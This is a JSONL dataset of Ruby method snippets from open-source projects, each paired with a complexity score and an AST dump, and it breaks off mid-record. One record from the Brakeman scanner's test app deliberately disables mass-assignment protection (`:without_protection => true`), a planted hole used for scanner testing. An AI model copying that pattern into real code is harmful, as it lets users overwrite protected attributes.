{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_refresh.rb","start_line":204,"raw_source":"def self.log_inv_debug_trace(inv, log_header, depth = 1)\n    return unless debug_trace\n\n    inv.each do |k, v|\n      if depth == 1\n        $log.debug(\"#{log_header} #{k.inspect}=>#{v.inspect}\")\n      else\n        $log.debug(\"#{log_header} #{k.inspect}=>\")\n        log_inv_debug_trace(v, \"#{log_header}  \", depth - 1)\n      end\n    end\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_inv_debug_trace\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inv\"]},{\"type\":\"arg\",\"children\":[\"log_header\"]},{\"type\":\"optarg\",\"children\":[\"depth\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"debug_trace\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inv\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"depth\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_header\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"=>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"inspect\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_header\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"=>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"log_inv_debug_trace\",{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_header\"]}]},{\"type\":\"str\",\"children\":[\"  \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"depth\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}]}","id":"fc06ffbf-a0f9-48b4-a8f4-9c15d9f70ead"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/utils.rb","start_line":41,"raw_source":"def self.to_integer(num)\n      return num if num.is_a?(Integer)\n      num = num.to_s\n      begin\n        Integer(num)\n      rescue ::ArgumentError\n        raise Liquid::ArgumentError, \"invalid integer\"\n      end\n    end","complexity_score":7.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"to_integer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"num\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Integer\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"num\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num\"]},\"to_s\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"lvar\",\"children\":[\"num\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ArgumentError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"invalid integer\"]}]}]},null]}]}]}]}","id":"89d6ed35-9b69-4ff1-a952-63c4e6b3e18d"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":473,"raw_source":"def test_plus_and_minus_enforce_spring_dst_rules\n    utc = Time.utc(2006, 4, 2, 6, 59, 59) # == Apr 2 2006 01:59:59 EST; i.e., 1 second before daylight savings start\n    twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)\n    assert_equal Time.utc(2006, 4, 2, 1, 59, 59), twz.time\n    assert_equal false, twz.dst?\n    assert_equal \"EST\", twz.zone\n    twz = twz + 1\n    assert_equal Time.utc(2006, 4, 2, 3), twz.time # adding 1 sec springs forward to 3:00AM EDT\n    assert_equal true, twz.dst?\n    assert_equal \"EDT\", twz.zone\n    twz = twz - 1 # subtracting 1 second takes goes back to 1:59:59AM EST\n    assert_equal Time.utc(2006, 4, 2, 1, 59, 59), twz.time\n    assert_equal false, twz.dst?\n    assert_equal \"EST\", twz.zone\n  end","complexity_score":39.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_plus_and_minus_enforce_spring_dst_rules\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"utc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[59]},{\"type\":\"int\",\"children\":[59]}]}]},{\"type\":\"lvasgn\",\"children\":[\"twz\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"utc\"]},{\"type\":\"ivar\",\"children\":[\"@time_zone\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[59]},{\"type\":\"int\",\"children\":[59]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"dst?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"EST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"zone\"]}]},{\"type\":\"lvasgn\",\"children\":[\"twz\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"dst?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"EDT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"zone\"]}]},{\"type\":\"lvasgn\",\"children\":[\"twz\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[59]},{\"type\":\"int\",\"children\":[59]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"dst?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"EST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"zone\"]}]}]}]}","id":"4b690f68-b94d-4e51-aecf-7fe9f8e11fe3"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":668,"raw_source":"def test_render_layout_with_block_which_renders_another_partial_and_yields\n    assert_equal %(partial html\\nContent from block!\\n),\n      @view.render(layout: \"layouts/partial_and_yield\") { \"Content from block!\" }\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_layout_with_block_which_renders_another_partial_and_yields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"partial html\\nContent from block!\\n\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"str\",\"children\":[\"layouts/partial_and_yield\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Content from block!\"]}]}]}]}","id":"5b44d6c4-465e-45e8-bb83-452edc4fd585"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/client.rb","start_line":352,"raw_source":"def each_extension(&block)\n    self.ext.aliases.each(block)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"each_extension\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"ext\"]},\"aliases\"]},\"each\",{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}","id":"159913a4-74ad-407f-99d0-011310097c4d"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails3.1/app/controllers/users_controller.rb","start_line":192,"raw_source":"def mass_again\n    User.new(stuff, :without_protection => true)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mass_again\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"stuff\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"without_protection\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"658ed6e4-de61-4195-a4be-ba402fac96d2"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/example_group.rb","start_line":625,"raw_source":"def self.ordering_strategy\n        order = metadata.fetch(:order, :global)\n        registry = RSpec.configuration.ordering_registry\n\n        registry.fetch(order) do\n          warn <<-WARNING.gsub(/^ +\\|/, '')\n            |WARNING: Ignoring unknown ordering specified using `:order => #{order.inspect}` metadata.\n            |         Falling back to configured global ordering.\n            |         Unrecognized ordering specified at: #{location}\n          WARNING\n\n          registry.fetch(:global)\n        end\n      end","complexity_score":15.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"ordering_strategy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metadata\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"sym\",\"children\":[\"global\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"registry\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"configuration\"]},\"ordering_registry\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registry\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"order\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"            |WARNING: Ignoring unknown ordering specified using `:order => \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"` metadata.\\n\"]},{\"type\":\"str\",\"children\":[\"            |         Falling back to configured global ordering.\\n\"]},{\"type\":\"str\",\"children\":[\"            |         Unrecognized ordering specified at: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"location\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^ +\\\\|\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registry\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"global\"]}]}]}]}]}]}","id":"7419efd7-71bf-4e01-a703-0c38d81a6e94"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file.rb","start_line":451,"raw_source":"def try_blobs(meth)\n        old_blob&.public_send(meth) || new_blob&.public_send(meth)\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"try_blobs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"meth\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"old_blob\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"meth\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_blob\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"meth\"]}]}]}]}","id":"316330db-b05c-413c-9d5c-abfd117e9b30"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/addresses/helper.rb","start_line":13,"raw_source":"def replace_country_iso_with_id(params)\n        iso = params[:country_iso]\n        return params unless iso.present?\n\n        country = Spree::Country.by_iso(iso)\n        params[:country_id] = country&.id\n        params.delete(:country_iso)\n        params\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"replace_country_iso_with_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"iso\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"country_iso\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iso\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"country\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Country\"]},\"by_iso\",{\"type\":\"lvar\",\"children\":[\"iso\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"country_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"country\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"country_iso\"]}]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}","id":"85f28985-1350-4ca1-b865-e5f5494dc0ed"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/v2/reports/timeseries/base_timeseries_builder.rb","start_line":27,"raw_source":"def user\n    @user ||= account.users.find(params[:id])\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"users\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"f9935899-81a0-4707-b8bf-e1b50008de74"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issuable_base_service.rb","start_line":648,"raw_source":"def filter_contact_params(issuable)\n    return if params.slice(:add_contacts, :remove_contacts).empty?\n    return if can?(current_user, :set_issue_crm_contacts, issuable)\n\n    params.extract!(:add_contacts, :remove_contacts)\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_contact_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issuable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"add_contacts\"]},{\"type\":\"sym\",\"children\":[\"remove_contacts\"]}]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"set_issue_crm_contacts\"]},{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"extract!\",{\"type\":\"sym\",\"children\":[\"add_contacts\"]},{\"type\":\"sym\",\"children\":[\"remove_contacts\"]}]}]}]}","id":"a9b88b08-24f0-46f7-8175-d334bb00bfbc"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":428,"raw_source":"def test_render_partial_collection_without_as\n    assert_equal \"local_inspector,local_inspector_counter,local_inspector_iteration\",\n      @view.render(partial: \"test/local_inspector\", collection: [ Customer.new(\"mary\") ])\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_partial_collection_without_as\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"local_inspector,local_inspector_counter,local_inspector_iteration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"test/local_inspector\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"collection\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"new\",{\"type\":\"str\",\"children\":[\"mary\"]}]}]}]}]}]}]}]}","id":"c2927b2b-dc8d-4212-ace3-6f95fc5f488d"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/html_to_markdown.rb","start_line":232,"raw_source":"def visit_code(node)\n    node.ancestors(\"pre\").present? ? traverse(node) : visit_tt(node)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_code\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"ancestors\",{\"type\":\"str\",\"children\":[\"pre\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"traverse\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"visit_tt\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"5b914a0a-d89b-4379-8422-77c3ed746cbd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/exchange/proxy_maybe_shell.rb","start_line":200,"raw_source":"def transport\n      @transport ||= begin\n        transport_factory = TransportFactory.new\n        transport_factory.create_transport(@connection_opts)\n      end\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"transport\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@transport\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"transport_factory\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TransportFactory\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transport_factory\"]},\"create_transport\",{\"type\":\"ivar\",\"children\":[\"@connection_opts\"]}]}]}]}]}","id":"26c18a62-50b7-4bfe-b09e-5a82e6fbcc40"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/browser_info.rb","start_line":54,"raw_source":"def report_host_info(target_info)\n    opts = { host: target_info[:address] }\n    opts.merge!(target_info)\n    report_host(opts)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"report_host_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"address\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"target_info\"]}]},{\"type\":\"send\",\"children\":[null,\"report_host\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"2f07ed36-c320-4234-9c9b-5c6bba55083f"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/models/acts_as_customizable/calculated_value_spec.rb","start_line":426,"raw_source":"def expect_no_calculated_value_errors(calc_val_cf, project)\n      expect(calc_val_cf.first_calculation_error(project)).to be_blank\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_no_calculated_value_errors\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"calc_val_cf\"]},{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"calc_val_cf\"]},\"first_calculation_error\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_blank\"]}]}]}","id":"7ebe73e3-1584-40e0-af8b-8792e17d2aeb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/http/web_socket/amazon_ssm.rb","start_line":196,"raw_source":"def on_data_write(data)\n        start_publication if not @publication\n        frame = SsmFrame.create(data)\n        frame.header.sequence_number = @out_seq_num\n        @out_seq_num += 1\n        frame.to_binary_s\n      end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_data_write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@publication\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"start_publication\"]},null]},{\"type\":\"lvasgn\",\"children\":[\"frame\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SsmFrame\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frame\"]},\"header\"]},\"sequence_number=\",{\"type\":\"ivar\",\"children\":[\"@out_seq_num\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@out_seq_num\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frame\"]},\"to_binary_s\"]}]}]}","id":"ccb25e1f-b2ad-49ea-8b7e-a836d098c2b9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250326153900_drop_issues_work_item_type_id_sync_trigger.rb","start_line":13,"raw_source":"def up\n    drop_trigger(ISSUES_TABLE, TRIGGER_NAME)\n    drop_function(TRIGGER_FUNCTION_NAME)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_trigger\",{\"type\":\"const\",\"children\":[null,\"ISSUES_TABLE\"]},{\"type\":\"const\",\"children\":[null,\"TRIGGER_NAME\"]}]},{\"type\":\"send\",\"children\":[null,\"drop_function\",{\"type\":\"const\",\"children\":[null,\"TRIGGER_FUNCTION_NAME\"]}]}]}]}","id":"3c093e20-75a1-459d-b9cc-7909ce426e80"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/grape_logging/loggers/user_logger.rb","start_line":10,"raw_source":"def parameters(request, _)\n          params = request.env[::API::Helpers::API_USER_ENV]\n\n          return {} unless params\n\n          params.slice(:user_id, :username)\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parameters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"env\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"API\"]},\"Helpers\"]},\"API_USER_ENV\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"username\"]}]}]}]}","id":"c7489f4b-e030-4dea-bb0d-0f4fc0a158de"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/cert_checker.rb","start_line":89,"raw_source":"def self.list_available_identities(in_keychain: nil)\n      # -v  Show valid identities only (default is to show all identities)\n      # -p  Specify policy to evaluate\n      commands = ['security find-identity -v -p codesigning']\n      commands << in_keychain if in_keychain\n      `#{commands.join(' ')}`\n    end","complexity_score":4.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"list_available_identities\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"in_keychain\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commands\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"security find-identity -v -p 